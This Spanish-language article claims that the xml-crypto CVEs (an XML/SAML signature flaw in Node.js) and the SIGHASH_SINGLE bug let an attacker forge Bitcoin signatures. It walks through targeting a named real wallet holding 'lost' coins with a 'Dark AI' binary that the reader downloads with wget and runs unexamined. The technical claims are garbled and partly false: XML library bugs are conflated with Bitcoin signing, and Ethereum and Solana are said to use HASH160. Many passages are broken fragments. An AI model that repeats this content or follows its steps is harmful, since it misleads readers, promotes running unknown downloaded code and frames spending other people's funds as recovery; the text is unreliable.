
Cómo las vulnerabilidades CVE-2025-29774 y el error SIGHASH_SINGLE amenazan los métodos operativos de las carteras multifirma con RawTX falsos
En este artículo, analizaremos el ataque criptográfico de falsificación de firmas digitales (Digital Signature Forgery Attack), cuyas consecuencias representan una amenaza para la seguridad de las transacciones en la red Bitcoin, ya que las firmas digitales confirman la propiedad y autorización de las transferencias de criptomonedas. Consideraremos ejemplos del impacto de dichos ataques en Bitcoin basados en investigaciones modernas y vulnerabilidades identificadas.
Un ataque de falsificación de firma digital (Digital Signature Forgery Attack) es un intento de un atacante de crear una firma digital ECDSA falsa que la red Bitcoin reconocerá como válida. Este ataque permite autorizar transacciones sin conocer la clave privada del propietario, lo que pone en riesgo la seguridad de los fondos en la billetera criptográfica del poseedor de monedas BTC.
En criptografía, una firma digital proporciona confirmación de la autenticidad de un mensaje o transacción. La falsificación de firma significa que es posible crear un par “RawTX” que el sistema aceptará como válido, aunque en realidad no fue creado por el propietario de la clave privada. Esto abre el camino al fraude, el robo de fondos y la violación de la integridad de la cadena de bloques. El ataque de falsificación de firma digital (DSFA) como ataque criptográfico se implementa en componentes de software que utilizan la librería xml-crypto para verificar las firmas de documentos XML en la plataforma Node.js.
En primer lugar, esto afecta a soluciones de integración empresarial, servicios en la nube y sistemas de inicio de sesión único, como IBM App Connect Enterprise Certified Container y otras aplicaciones que dependen de xml-crypto para la autenticación y autorización SAML. Las vulnerabilidades de hardware no están asociadas con dispositivos físicos específicos, sino que se implementan en productos de software que utilizan la librería vulnerable.
Las vulnerabilidades CVE-2025-29774 y CVE-2025-29775, conocidas como Ataque de Falsificación de Firma Digital (Digital Signature Forgery Attack), se implementan en la librería de software xml-crypto , una librería para firmar digitalmente y cifrar documentos XML en la plataforma Node.js.


Por lo tanto, este código implementa algoritmos de firma criptográfica y verificación de firmas para varios esquemas (RSA con diferentes hashes SHA y HMAC-SHA1), lo que permite integrarlos en sistemas que requieren firma digital de datos.
El código de signature-algorithms.ts se utiliza para crear y verificar firmas digitales de forma segura, garantizando autenticidad e integridad de los datos. Las firmas ECDSA proporcionan verificación de autoría mediante una clave privada, y HMAC proporciona verificación de integridad y autenticidad mediante una clave secreta. Los algoritmos utilizados cumplen con los estándares de Firma Digital XML (las URI de los algoritmos apuntan a especificaciones W3C).
Por lo tanto, el código de signature-algorithms.ts implementa algoritmos de firma criptográfica y verificación de firmas para varios esquemas (ECDSA, RSA con diferentes hashes SHA y HMAC-SHA1), lo que permite integrarlos en sistemas que requieren firma digital de datos.
SignatureAlgorithm y proporciona métodos para:
getSignature): toma datos de firma y una clave privada, devuelve una firma digital en formato base64.verifySignature): toma la entrada, la clave pública y la firma, devuelve un valor booleano que indica si la firma es correcta.getAlgorithmName): devuelve una URI que identifica el algoritmo de firma utilizado.crypto.createSign y crypto.createVerify con los algoritmos correspondientes (“RSA-SHA1”, “RSA-SHA256”, “RSA-SHA512”).crypto.createHmac con el algoritmo “SHA1”.createOptionalCallbackFunction, que probablemente permite usarlos tanto con callbacks como con promesas (los detalles no están en el código).El uso del algoritmo RSA-SHA1 en firmas criptográficas contiene una vulnerabilidad relacionada con colisiones del hash SHA-1. Esto permite a un atacante crear dos mensajes diferentes con la misma firma si controla parte de los datos que se firman.
Específicamente, el problema está en la clase RsaSha1:
const signer = crypto.createSign("RSA-SHA1"); // Vulnerable line
También la segunda vulnerabilidad está en la clase RsaSha1:
const verifier = crypto.createVerify("RSA-SHA1"); // Vulnerable line
HmacSha1 (HMAC-SHA1) es menos vulnerable, pero también obsoleta. HMAC es más resistente a colisiones que SHA-1 “desnudo”, pero es preferible cambiar a SHA-256.
CVE-2025-29774 y CVE-2025-29775 son vulnerabilidades críticas en la librería xml-crypto para Node.js relacionadas con la verificación incorrecta de firmas digitales en documentos XML. Ambas vulnerabilidades permiten a un atacante modificar mensajes XML firmados de manera que pase desapercibida durante la verificación de firma.
En el código proporcionado, las clases RsaSha1 utilizan el algoritmo heredado RSA-SHA1 para firma y verificación:
const signer = crypto.createSign("RSA-SHA1"); // Vulnerable line №7
const verifier = crypto.createVerify("RSA-SHA1"); // Vulnerable line №17SHA1 se considera criptográficamente inseguro, el problema principal radica en la lógica de procesamiento de estructuras XML de la librería :
<SignedInfo> al documento XML , lo que da como resultado un cálculo de hash incorrecto durante la verificación.<Signature> <SignedInfo>...</SignedInfo> <!-- Nodo original --> <SignedInfo>...</SignedInfo> <!-- Agregado por un atacante --> </Signature>
// Usage SHA-256 / SHA-1 const signer = crypto.createSign("RSA-SHA256");<SignedInfo> en la firma.Abordar estas vulnerabilidades es crítico para los sistemas que utilizan firmas XML para autenticación (por ejemplo, SAML, SOAP).

La biblioteca xml-crypto se usa ampliamente para verificar firmas digitales en mensajes XML, incluidos protocolos como SAML, SOAP y otros. Se deduce que la vulnerabilidad afecta potencialmente a:
Para evaluar el riesgo en dispositivos específicos, se recomienda verificar si utilizan versiones vulnerables de xml-crypto o dependen de mecanismos similares de firma XML. Para trabajar con billeteras de criptomonedas basadas en Node.js, IBM ofrece soluciones separadas, como IBM Secure Bitcoin Wallet , una aplicación basada en Electrum Bitcoin Client que utiliza Node.js para interactuar con la red Bitcoin y gestionar la billetera.
En esta solución, las claves privadas y la billetera se pueden almacenar y cifrar utilizando IBM Cloud Hyper Protect Crypto Services (zHSM), que proporciona almacenamiento seguro basado en hardware de claves. La generación de claves privadas para billeteras Bitcoin generalmente se implementa en bibliotecas criptográficas especializadas como Electrum, bitcoinjs-lib, etc., que se pueden integrar en aplicaciones Node.js. IBM Secure Bitcoin Wallet utiliza un backend Electrum modificado en Node.js para la gestión de claves y transacciones, a través de la integración con IBM Cloud Hyper Protect Crypto Services, que proporciona cifrado de hardware y almacenamiento seguro de claves privadas.
De la teoría de la vulnerabilidad CVE-2025-29775 se sabe que un atacante puede procesar una biblioteca xml-crypto no actualizada para valores de transacción incorrectos. Pasemos a la parte práctica del artículo y consideremos un ejemplo utilizando una billetera Bitcoin: 32GkPB9XjMAELR4Q2Hr31Jdz2tntY18zCe , donde se perdieron monedas por un monto de: 0.059672 BTC a julio de 2025, este monto es: 7,052 USD
Consideremos el formato: Raw transaction datos binarios y hexadecimales que contienen toda la información sobre la transacción . Es necesario para transmitir, verificar o crear transacciones a bajo nivel y es la base para el funcionamiento de toda la red Bitcoin. Los usuarios normales rara vez se encuentran con Raw transactions directamente, pero para los desarrolladores y entusiastas de las criptomonedas, esta es la principal herramienta para tener un control total sobre todas las transacciones de la red Bitcoin.

Para devolver completamente los objetos UTXO en la red Bitcoin, utilizaremos la herramienta Dark AI . UTXO es la parte principal de la estructura de datos en la cadena de bloques y representa la cantidad de monedas BTC de la criptomoneda que puede gastar el titular de la clave privada (que controla esta dirección Bitcoin). Cada UTXO es la salida de una transacción pasada específica, que nunca se ha utilizado como entrada en transacciones posteriores.

Comandos:
!wget https://darkai.ru/repositories/neuralnet_tools.zipwget— una utilidad de línea de comandos para descargar archivos de la red a través de los protocolos HTTP, HTTPS y FTP.neuralnet_tools.zipunzip— comando para extraer archivos ZIP en el directorio actual.Este comando extrae todos los archivos de neuralnet_tools.zip
!unzip neuralnet_tools.zip
Ejecutemos el comando ls para una visualización rápida y sencilla
ls

!./darkai
Ejecutemos el comando para obtener información sobre los llamados outputs de transacciones no gastadas ( UTXO , decodificación: Unspent Transaction Output ) para la dirección Bitcoin especificada. Esta información es importante para evaluar el saldo de la dirección y la posibilidad de realizar nuevas transacciones.
!./darkai -bitcoinaddress 32GkPB9XjMAELR4Q2Hr31Jdz2tntY18zCe[
{'output': '8602122a7044b8795b5829b6b48fb1960a124f42ab1c003e769bbaad31cb2afd:0', 'value': 677200},
{'output': 'bd992789fd8cff1a2e515ce2c3473f510df933e1f44b3da6a8737630b82d0786:0', 'value': 5000000}
]Cada UTXO contiene:
<txid>:<n>, donde <txid>es un hash de transacción único, y <n> es el número de salida en la lista de salidas para esta transacción.8602122a7044b8795b5829b6b48fb1960a124f42ab1c003e769bbaad31cb2afd:0bd992789fd8cff1a2e515ce2c3473f510df933e1f44b3da6a8737630b82d0786:0El saldo total disponible de una dirección es igual a la suma de todos los UTXO encontrados:

Utilizamos el proceso de interpretación para procesar la biblioteca xml-crypto no actualizada y crear valores de transacción no válidos y enviar una gran cantidad; el algoritmo Dark AI elegirá qué UTXO usar (o combinar ambos).
La dirección Bitcoin 32GkPB9XjMAELR4Q2Hr31Jdz2tntY18zCetiene dos UTXO activos que suman 0.05677200 BTC . Estos fondos se pueden usar para realizar nuevas transacciones; ambas salidas se consideran confirmadas y no gastadas.

Para obtener fragmentos de información sobre la salida de una transacción de Bitcoin, utiliza los siguientes comandos, donde la primera salida (
outs) de la transacción tiene un identificador único8602122a7044b8795b5829b6b48fb1960a124f42ab1c003e769bbaad31cb2afd
!./darkai -deserialize 8602122a7044b8795b5829b6b48fb1960a124f42ab1c003e769bbaad31cb2afd{'value': 677200, 'script': 'a91406612b7cb2027e80ec340f9e02ffe4a9a59ba76287'}a91406612b7cb2027e80ec340f9e02ffe4a9a59ba76287 — un script que define las condiciones para gastar esta salida.
a91406612b7cb2027e80ec340f9e02ffe4a9a59ba76287a914...87, que corresponde al formato P2SH (Pay to Script Hash):
a9 — OP_HASH160 (operador de hash)14 — longitud del siguiente valor (20 bytes = 40 caracteres hexadecimales)06612b7cb2027e80ec340f9e02ffe4a9a59ba762 — hash160 de la dirección de la billetera Bitcoin donde se almacenan las monedas BTC.87 — OP_EQUAL (un operador básico de comando de Bitcoin Script que implementa una comparación de dos datos para verificar su identidad)Como resultado de la deserialización de la transacción por identificador,
8602122a7044b8795b5829b6b48fb1960a124f42ab1c003e769bbaad31cb2afdse obtuvo la primera salida, que contiene la cantidad de 677,200 satoshis (0.00677200 BTC), protegida por un script P2SH. Para gestionar estos fondos, será necesario presentar el script de destino y firmar correctamente la transacción de desbloqueo que cumpla las condiciones del hash especificado.

Para obtener fragmentos de información sobre la salida de los datos originales (
output) de una transacción de Bitcoin, aplica los siguientes comandos, donde la primera salida (outs) de la transacción con un identificador únicobd992789fd8cff1a2e515ce2c3473f510df933e1f44b3da6a8737630b82d0786
!./darkai -deserialize bd992789fd8cff1a2e515ce2c3473f510df933e1f44b3da6a8737630b82d0786Utilizando el proceso de interpretación, con la ayuda de Dark AI mediante la función de deserialización, obtenemos luego información sobre la estructura del primer elemento de salida (output) para la segunda transacción con el identificadorbd992789fd8cff1a2e515ce2c3473f510df933e1f44b3da6a8737630b82d0786.
Resultado:
{'value': 5000000, 'script': 'a91406612b7cb2027e80ec340f9e02ffe4a9a59ba76287'}5000000'outs'. Solo se puede gastar si se cumplen las condiciones escritas en el script definido en el campo 'script'.
'a91406612b7cb2027e80ec340f9e02ffe4a9a59ba76287'El valor especificado corresponde al tipo de script estándar en la red Bitcoin:
a9 — código de operación OP_HASH160 (produce RIPEMD-160 a partir de SHA-256 de la línea siguiente).14 — longitud del campo subsiguiente: 20 bytes (40 caracteres hexadecimales).06612b7cb2027e80ec340f9e02ffe4a9a59ba762 — es un hash de 20 bytes que identifica ya sea una dirección de billetera Bitcoin o un script.87 — código de operación OP_EQUAL.En conjunto, esta entrada significa una dirección P2SH (Pay-to-Script-Hash). En este caso, los fondos se asignan a una determinada combinación de script, y para retirarlos, será necesario revelar el script cuyo hash está registrado aquí y presentar firmas (u otros datos) que cumplan las condiciones de este script.
Los usos más comunes de este esquema son para múltiples firmas, contratos inteligentes simples y complejos, múltiples firmas bilaterales, esquemas de seguridad condicional y otros escenarios avanzados.
06612b7cb2027e80ec340f9e02ffe4a9a59ba762Por lo tanto, el resultado de la deserialización informa la presencia de una cierta cantidad de bitcoins en una dirección condicional (P2SH) y define reglas estrictas para su gasto, lo que juega un papel clave en la gestión y contabilidad de fondos en la red Bitcoin.

El script 'a91406612b7cb2027e80ec340f9e02ffe4a9a59ba76287' se elige y utiliza en esta salida de transacción porque representa un script de bloqueo P2SH (Pay-to-Script-Hash) típico en la red Bitcoin.
Veámoslo pieza por pieza:
a9 — OP_HASH160: Una operación de hash que primero aplica SHA-256 y luego RIPEMD-160 a los datos subsiguientes.14 — la longitud del hash es 20 bytes (en formato hexadecimal).06612b7cb2027e80ec340f9e02ffe4a9a59ba762 — un hash de 20 bytes del script, conocido como el hash del script.87 — OP_EQUAL: Un operador que verifica la igualdad de dos valores en la pila.Por lo tanto, este script requiere que en el momento de su uso (gasto de fondos) se presente un script cuyo hash coincida con 06612b7cb2027e80ec340f9e02ffe4a9a59ba762, y que se cumplan las condiciones de este script.
El script
'a91406612b7cb2027e80ec340f9e02ffe4a9a59ba76287'es un script de bloqueo P2SH, que dice que para gastar 0.05 BTC, es necesario proporcionar el script original con el hash06612b7cb2027e80ec340f9e02ffe4a9a59ba762y cumplir las condiciones especificadas en él. Esto proporciona un equilibrio entre conveniencia, seguridad y funcionalidad – la razón principal para elegir este script en particular en esta transacción. El hash06612b7cb2027e80ec340f9e02ffe4a9a59ba762en el script P2SH es el resultado de un hash específico del script original (redeem script), que determina las condiciones para gastar los fondos de esta salida.
06612b7cb2027e80ec340f9e02ffe4a9a59ba762. Este hash identifica de manera única el escenario exacto para el cual fue generado.SHA-256 + RIPEMD-160) a partir del script original (redeem script), por lo que no es posible seleccionar un hash diferente de forma aleatoria o arbitraria.a91406612b7cb2027e80ec340f9e02ffe4a9a59ba76287Por lo tanto, la elección de este hash en particular está dictada por la necesidad de un enlace preciso y seguro de la salida con condiciones de gasto específicas que controlan el acceso a los fondos en la blockchain. Todo esto está garantizado por las propiedades de las funciones hash criptográficas, su unicidad y la imposibilidad de recuperación inversa de los datos originales.
Los desarrolladores de Bitcoin han incorporado el mecanismo P2SH (Pay-to-Script-Hash) en el código como una innovación clave que garantiza la seguridad y amplía las capacidades de la red blockchain. Consideremos la estructura y el principio de funcionamiento de este script, su diferencia con las transacciones clásicas, así como las razones para elegir este enfoque de almacenamiento y protección de activos digitales.
Tradicionalmente, las transacciones de Bitcoin han funcionado utilizando el esquema Pay-to-Pubkey-Hash (P2PKH), donde los fondos se “bloquean” usando el hash de la clave pública del destinatario. Para gastar estos fondos, el usuario debe proporcionar su firma digital y clave pública, las cuales son verificadas por la red.
Sin embargo, más allá de P2PKH, la interfaz era limitada, ya que Bitcoin Script permite condiciones de gasto mucho más complejas, desde multifirmas hasta bloqueos de tiempo y otros acuerdos de contratos inteligentes. El problema era que los scripts largos y complejos inevitablemente aumentaban el tamaño de las transacciones y reducían su usabilidad.
Fue para simplificar la interacción con escenarios tan complejos que se introdujo el concepto P2SH en 2012 , estandarizado en BIP 16 por Gavin Andresen. La esencia de P2SH se reduce a reemplazar el script completo de las condiciones de gasto en scriptPubKey por su hash criptográfico – el llamado script hash.

Veamos el script especificado como resultado de la deserialización:
OP_HASH160 06612b7cb2027e80ec340f9e02ffe4a9a59ba762 OP_EQUALEste script se diferencia del P2PKH estándar en que, en lugar de un hash de clave pública, almacena un hash de un redeemScript – un conjunto de condiciones bajo las cuales se pueden gastar los fondos.
Para gastar dichos fondos, es necesario transmitir en las entradas (scriptSig) de la transacción que hace referencia a esta salida:
Al procesar una transacción, los nodos de la red:
P2SH así traslada la responsabilidad de presentar y verificar los términos del gasto del remitente (que crea el script requerido) al gastador.
P2SH permite crear direcciones con condiciones arbitrarias, a menudo multinivel – por ejemplo, un requisito de multifirma (2 de 3, 3 de 5, etc.), límites de tiempo, lógica de distribución y mucho más. En este caso, el remitente simplemente envía fondos a una dirección hash compacta, sin entrar en detalles técnicos.
En lugar de almacenar el script completo en la blockchain, solo se almacena su hash en la transacción. Esto reduce la carga en la red, disminuye el tamaño de los bloques y acelera la verificación de las transacciones.
Dado que el redeemScript solo se revela y verifica en el momento del gasto, aumenta la confidencialidad de los términos y dificulta los intentos de acceso no autorizado. El uso de funciones hash criptográficas garantiza la protección contra falsificaciones y modificaciones – cualquier ligera desviación en el script resultará en un hash diferente y la red rechazará la transacción.
P2SH estandariza y simplifica el uso de contratos inteligentes complejos en Bitcoin, simplificando la integración y aumentando la compatibilidad con una variedad de carteras y servicios.
Un ejemplo clásico es una cartera que requiere firmas de dos de cinco participantes para completar una transacción. Con P2SH:
Esto hace que P2SH sea ideal para cuentas corporativas, empresas conjuntas y otras situaciones donde se requiere control de acceso. El mecanismo Pay-to-Script-Hash (P2SH) es una parte fundamental de la arquitectura de Bitcoin, proporcionando un equilibrio entre:

ins)Ejecutemos un comando para obtener información sobre una de las entradas de una transacción con el hash 6102bfd4bad33443bcb99765c0751b6b8e4e65f4db4e3b65324c5e9e3dac8132. El análisis de dicha entrada es importante para comprender el mecanismo de autorización del gasto de fondos a nivel de script.
!./darkai -scriptsig 6102bfd4bad33443bcb99765c0751b6b8e4e65f4db4e3b65324c5e9e3dac8132El resultado de extraer la primera entrada de la transacción (
ins) se presenta a continuación:
{
'script': '00483045022100e5d7c59ea1fb5d0285e755dfc09634e1e3af36d12950b9b5d5f92b136021b3d202202c181129443b08dcfb8d9ced30187186c57c96f9cdb3f3914e0798682ea35d2b03493046022100e1f8dbad16926cfa3bf61b66e23b3846323dcabf6c75748bcfad762fc50bfaf402210081d955160b5f8d2b9d09d8838a2cf61f5055009d9031e0e106e19ebab234d949034c695221023927b5cd7facefa7b85d02f73d1e1632b3aaf8dd15d4f9f359e37e39f05611962103d2c0e82979b8aba4591fe39cffbf255b3b9c67b3d24f94de79c5013420c67b802103ec010970aae2e3d75eef0b44eaa31d7a0d13392513cd0614ff1c136b3b1020df53ae',
'outpoint': {
'index': 1,
'hash': 'ec2a40cac3ac5dadf1d31f3cad03bdc8465caab5acbc5407ee7f4a7400aab577'
},
'sequence': 4294967295
}script)script es el scriptSig , que se utiliza para desbloquear la salida de la transacción anterior correspondiente.00, que en el contexto de scriptSig puede significar OP_0 , tradicionalmente usado en escenarios multifirma (por ejemplo, en el caso del estándar multifirma Pay-to-Script-Hash, donde se necesita un marcador de posición).3045...), que típicamente consisten en una serie de bytes que contienen los detalles de la firma.outpoint)'hash': 'ec2a40cac3ac5dadf1d31f3cad03bdc8465caab5acbc5407ee7f4a7400aab577'— es el hash de la transacción anterior.'index': 1– indica la segunda salida (numerada desde cero), que se utiliza para desbloquear.sequence)4294967295 (0xFFFFFFFF) es un número máximo de 32 bits.El criptoanálisis de la extracción de la primera entrada de transacción (
ins) con el hash de transacción dado mostró que:
ec2a40cac3ac5dadf1d31f3cad03bdc8465caab5acbc5407ee7f4a7400aab577:1.Por lo tanto, los datos obtenidos permiten una comprensión más profunda de la mecánica de verificación de los derechos para gastar fondos, se utilizan para garantizar la seguridad de la red Bitcoin, así como en el desarrollo y auditoría de contratos inteligentes basados en scripts de Bitcoin.

outs)Ejecutemos el comando para obtener información sobre una de las salidas de la transacción con el identificador
ec2a40cac3ac5dadf1d31f3cad03bdc8465caab5acbc5407ee7f4a7400aab577.
!./darkai -redeemscript ec2a40cac3ac5dadf1d31f3cad03bdc8465caab5acbc5407ee7f4a7400aab577
outsEspecíficamente, la segunda salida ( ) de esta transacción, el elemento con índice 1, fue extraída.
{
'value': 350000,
'script': 'a91406612b7cb2027e80ec340f9e02ffe4a9a59ba76287'
}value
scripta91406612b7cb2027e80ec340f9e02ffe4a9a59ba76287 es un script de bloqueo clásico (scriptPubKey) del formato P2SH (Pay-to-Script-Hash) .a9— OP_HASH160 es un operador que primero aplica SHA-256 y luego RIPEMD-160 a los datos de entrada.14— la longitud (20 bytes) del siguiente valor es el tamaño del hash.06612b7cb2027e80ec340f9e02ffe4a9a59ba762— hash de 20 bytes, también conocido como script hash , es una representación única del script de redención que controla el gasto de estos fondos.87— OP_EQUAL es un operador que compara dos valores y devuelve verdadero si son iguales.Por lo tanto, el script requiere que para desbloquear (gastar fondos), el usuario presente un script de redención cuyo hash coincida con este valor.
ec2a40cac3ac5dadf1d31f3cad03bdc8465caab5acbc5407ee7f4a7400aab577está asociado con una salida que contiene 0.0035 BTC.06612b7cb2027e80ec340f9e02ffe4a9a59ba762.
La información recibida confirma que el segundo registro de salida de la transacción
ec2a40cac3ac5dadf1d31f3cad03bdc8465caab5acbc5407ee7f4a7400aab577almacena la cantidad de 0.0035 BTC, controlada por un script P2SH estándar con un valor hash16006612b7cb2027e80ec340f9e02ffe4a9a59ba762. Para gestionar estos fondos, es necesario presentar el redeem script correspondiente, lo que proporciona un alto nivel de seguridad y flexibilidad en la gestión de bitcoins.
OP_FALSE 304502... 304602... 5221023927b5cd7facefa7b85d02f73d1e1632b3aaf8dd15d4f9f359e37e39f05611962103d2c0e82979b8aba4591fe39cffbf255b3b9c67b3d24f94de79c5013420c67b802103ec010970aae2e3d75eef0b44eaa31d7a0d13392513cd0614ff1c136b3b1020df53aeEjecutemos el comando para obtener HASH160 . Los desarrolladores de Bitcoin han establecido un estándar para un hash de 20 bytes (hex) que se usa ampliamente sin cambios en otras criptomonedas populares como Bitcoin (BTC), Ethereum (ETH), Tether (USDT), BNB (BNB), Solana (SOL), XRP (XRP), Cardano (ADA), Dogecoin (DOGE), USDC (USDC), Polkadot (DOT), Avalanche (AVAX), Shiba Inu (SHIB), Stellar (XLM), TRON (TRX), Chainlink (LINK), Litecoin (LTC), Bitcoin Cash (BCH), Monero (XMR) para denotar el identificador abreviado de scripts y claves públicas.
!./darkai -hexdata 5221023927b5cd7facefa7b85d02f73d1e1632b3aaf8dd15d4f9f359e37e39f05611962103d2c0e82979b8aba4591fe39cffbf255b3b9c67b3d24f94de79c5013420c67b802103ec010970aae2e3d75eef0b44eaa31d7a0d13392513cd0614ff1c136b3b1020df53aeProceso de procesamiento:
06612b7cb2027e80ec340f9e02ffe4a9a59ba762Este hash de 20 bytes (hex) se llama HASH160 y se usa ampliamente en Bitcoin para denotar un identificador abreviado de scripts y claves públicas.
Un paso clave en el procesamiento de scripts de Bitcoin utilizando funciones hash criptográficas.
Convertir scripts serializados o claves públicas a HASH160 permite una identificación, indexación y protección eficiente de los datos en la blockchain de Bitcoin.
Hash recibido:
{'06612b7cb2027e80ec340f9e02ffe4a9a59ba762'}El equipo ha producido el hash exacto que sirve como enlace entre los scripts complejos y el formato compacto utilizado para almacenar y verificar transacciones en la red Bitcoin.

Satoshi Nakamoto eligió usar el hash doble SHA-256 (es decir, aplicar SHA-256 dos veces seguidas) en los algoritmos de hash de Bitcoin por varias razones importantes que mejoran la fortaleza criptográfica y la seguridad de la red.
El uso dual de
SHA-256es una elección deliberada de Satoshi Nakamoto para proporcionar una capa adicional de seguridad y una sólida fortaleza criptográfica a todo el sistema Bitcoin. Este diseño minimiza los riesgos de colisión, mejora la unilateralidad y protege de forma segura los datos en la red blockchain, creando una base sólida para la seguridad de las transacciones y el consenso en el sistema. Por lo tanto, el doble SHA-256 es un elemento clave de la arquitectura de Bitcoin, que combina técnicas criptográficas avanzadas con un sistema distribuido.

La seguridad y flexibilidad de las transacciones modernas de Bitcoin se basa en un sistema de scripting que permite condiciones complejas para gastar fondos. Uno de los mecanismos clave es la multifirma (multisig) , donde los fondos solo se pueden gastar si hay varias firmas digitales válidas de un conjunto de posibles. En este artículo, analizaremos en detalle cómo se implementa exactamente esto en Bitcoin, qué es redeemScript, cómo funciona la instrucción OP_CHECKMULTISIG y por qué este enfoque tiene demanda.
En el contexto de Bitcoin, un redeemScript es un script que contiene las condiciones para gastar fondos, que se almacenan en la salida de la transacción en formato Pay-to-Script-Hash (P2SH). En lugar de almacenar el script completo en la blockchain, el hash del redeemScript se almacena en la salida, ahorrando espacio y ocultando los detalles de las condiciones hasta el momento del gasto.
RedeemScript puede incluir, por ejemplo, múltiples claves públicas y un número umbral de firmas – esto es lo que implementan las billeteras multifirma.
Consideremos la instrucción OP_CHECKMULTISIG: propósito y funcionamiento, donde el elemento principal en redeemScript que implementa la verificación de multifirma es OP_CHECKMULTISIG .
Debido a un error histórico en la implementación de OP_CHECKMULTISIG , se elimina un elemento adicional, un valor no utilizado, de la pila durante la ejecución. Para evitar este problema, scriptSig utiliza un elemento especial
OP_FALSE(valor 0) al principio, que compensa este error y previene posibles vulnerabilidades.
OP_FALSE <firma1> <firma2> ... <redeemScript>OP_FALSEBasado en el código redeemScript:
023927... 03d2c0... 03ec01... 3 OP_CHECKMULTISIG
OP_CHECKMULTISIGverifica que las dos firmas proporcionadas (en scriptSig) correspondan a dos de las tres claves y sean válidas.OP_FALSEen scriptSig compensa el error de eliminar el valor extra.OP_FALSE, el mecanismo ha demostrado su fiabilidad y ha encontrado una amplia aplicación.RedeemScript con la instrucción OP_CHECKMULTISIG es una herramienta compleja y poderosa en el arsenal de Bitcoin que permite crear monederos multifirma con un umbral de firmas, proporcionando un alto nivel de seguridad y control sobre los fondos. Este mecanismo se ha convertido en una piedra angular para organizaciones, usuarios y servicios que desean utilizar la gestión compartida de sus activos en un entorno descentralizado y seguro. Así, la multifirma a través de redeemScript y OP_CHECKMULTISIG no es solo una tecnología, sino una funcionalidad que expande las capacidades del modelo clásico de criptomoneda.

El mecanismo de verificación multifirma de Bitcoin se basa en el uso de scripts especiales con las instrucciones OP_CHECKMULTISIG y redeemScript, lo que permite la concordancia de firmas de umbral, proporcionando mayor seguridad y gestión compartida de los fondos.
Multifirma es un sistema en el que se requieren múltiples firmas válidas de un conjunto dado de claves públicas para completar una transacción. Un esquema típico se denota como m de n — por ejemplo, "2 de 3", donde se necesitan dos firmas cualesquiera de tres claves para autorizar un gasto.
En Bitcoin, esta lógica se implementa a través de:
La instrucción
OP_CHECKMULTISIGverifica que las firmas proporcionadas enscriptSigsean válidas y coincidan con las claves públicas publicadas de redeemScript.
RedeemScript se estructura de la siguiente manera:
OP_M <pubkey1> <pubkey2> ... <pubkeyN> OP_N OP_CHECKMULTISIGOP_M y OP_N — instrucciones que especifican el número de firmas requeridas y el número total de claves públicas, respectivamente (por ejemplo, OP_2 y OP_3).<pubkeyX> — claves públicas de los participantes.OP_CHECKMULTISIG — un operador que implementa la verificación multifirma.m.Una característica técnica importante es un error histórico de implementación de
OP_CHECKMULTISIGque provoca que se elimine un elemento adicional no utilizado de la pila. Para compensar este error, enscriptSigse coloca un valorOP_FALSE(código 0) al inicio para "bloquear" el desplazamiento de la pila.
Para un monedero con multifirma "2 de 3", antes de gastar fondos, se forma scriptSig de la siguiente manera:
OP_FALSE <signature1> <signature2> <redeemScript>OP_FALSE — un valor ficticio para compensar el error de OP_CHECKMULTISIG.<signature1> y <signature2> – dos firmas digitales autorizadas por los propietarios de las correspondientes claves privadas.<redeemScript> — el script en sí con las claves públicas y los parámetros de verificación.Al verificar una transacción de nodo:
Si todas las entradas de una transacción pasan esta comprobación, la transacción se considera válida. Con dicha validez, al ejecutar el operador de este error, el atacante compensa OP_CHECKMULTISIG como una vulnerabilidad potencial.
El mecanismo de verificación multifirma de Bitcoin utilizando el comando
OP_CHECKMULTISIGy redeemScript permite configurar esquemas complejos de firmas de umbral, y al ejecutar este operador de error, un atacante compensa OP_CHECKMULTISIG como una vulnerabilidad potencial en transacciones controladas en la red distribuida de Bitcoin.
¿Cuáles son las características y limitaciones al verificar múltiples firmas con OP_CHECKMULTISIG? Veamos los aspectos y limitaciones clave:
OP_FALSE al inicio de scriptSig para alinear correctamente la pila. Esta es una característica reconocida y aceptada por la comunidad.
Bitcoin utiliza firmas digitales para autorizar transacciones, permitiendo a los propietarios de fondos confirmar su derecho a disponer de ellos. La peculiaridad es que las firmas pueden limitar su alcance de acción no a toda la transacción, sino solo a una parte de ella. Esto se implementa mediante banderas especiales – SIGHASH , que determinan qué datos de la transacción caen exactamente bajo la firma. Consideremos los tipos de hashes de firma, su propósito, ejemplos de uso, así como las características que surgen en situaciones no estándar.
Al firmar una transacción de Bitcoin, se crea una firma digital que se forma sobre un fragmento específico de datos de la transacción. Es a través de la bandera SIGHASH que se indica qué parte de estos datos debe cubrir esta firma. El tipo de hash de firma se transmite por el último byte de la propia firma y determina el área incluida en el hash, y por tanto en la sección firmada. Esto permite formar de manera flexible las condiciones sobre qué acciones específicas sobre la transacción son aprobadas por el firmante.
Este es el tipo de firma predeterminado en la mayoría de los monederos y clientes. La firma cubre todas las entradas y todas las salidas de la transacción , lo que significa:
Con este tipo de firma, se firman todas las entradas, pero ninguna de las salidas :
Este tipo de firma firma todas las entradas, pero solo una salida – con el mismo número de índice que la entrada :
Considere una transacción con tres entradas, donde se han extraído de los scripts de firma (scriptSig) de dos de ellas firmas que terminan con un byte
0x03que indica SIGHASH_SINGLE — es decir, firmas que firman solo el par de entradas y salidas correspondientes. Sin embargo, aquí observamos una situación: la entrada con índice 2 no tiene una salida correspondiente con el mismo índice.


Debido a un error histórico de Bitcoin, en tales situaciones el hash de la transacción para firmar se devuelve como un número fijo – uno (int 1). Esto no corresponde a un hash válido de la transacción que se está firmando y puede crear problemas de seguridad y compatibilidad.
Además de los tres valores básicos de SIGHASH, son posibles combinaciones de estos valores con la bandera SIGHASH_ANYONECANPAY , que permite firmar solo una entrada, dejando las demás abiertas para modificación. Esto amplía las posibilidades para crear protocolos colaborativos complejos y transacciones multiparte, donde diferentes participantes firman solo sus partes.
Los tipos
SIGHASHsonBitcoinun ingenioso mecanismo para gestionar el nivel de control y el alcance de las firmas digitales dentro de las transacciones. Logran un equilibrio entre seguridad, flexibilidad y compatibilidad. La historia incluye complicaciones inesperadas, como el error conSIGHASH_SINGLEsin salida correspondiente, lo que resalta la importancia de una comprensión profunda de los detalles técnicos para trabajar exitosamente con Bitcoin a un nivel avanzado.
Las diferencias entre los tipos de firma SIGHASH_ALL, SIGHASH_NONE y SIGHASH_SINGLE tienen un impacto significativo en la seguridad de las transacciones de Bitcoin porque determinan qué partes de la transacción se mantienen dentro de la firma digital y, por lo tanto, están protegidas contra modificaciones.
| Tipo Sighash | ¿Qué se firma? | Nivel de seguridad | Riesgos posibles | Aplicación |
|---|---|---|---|---|
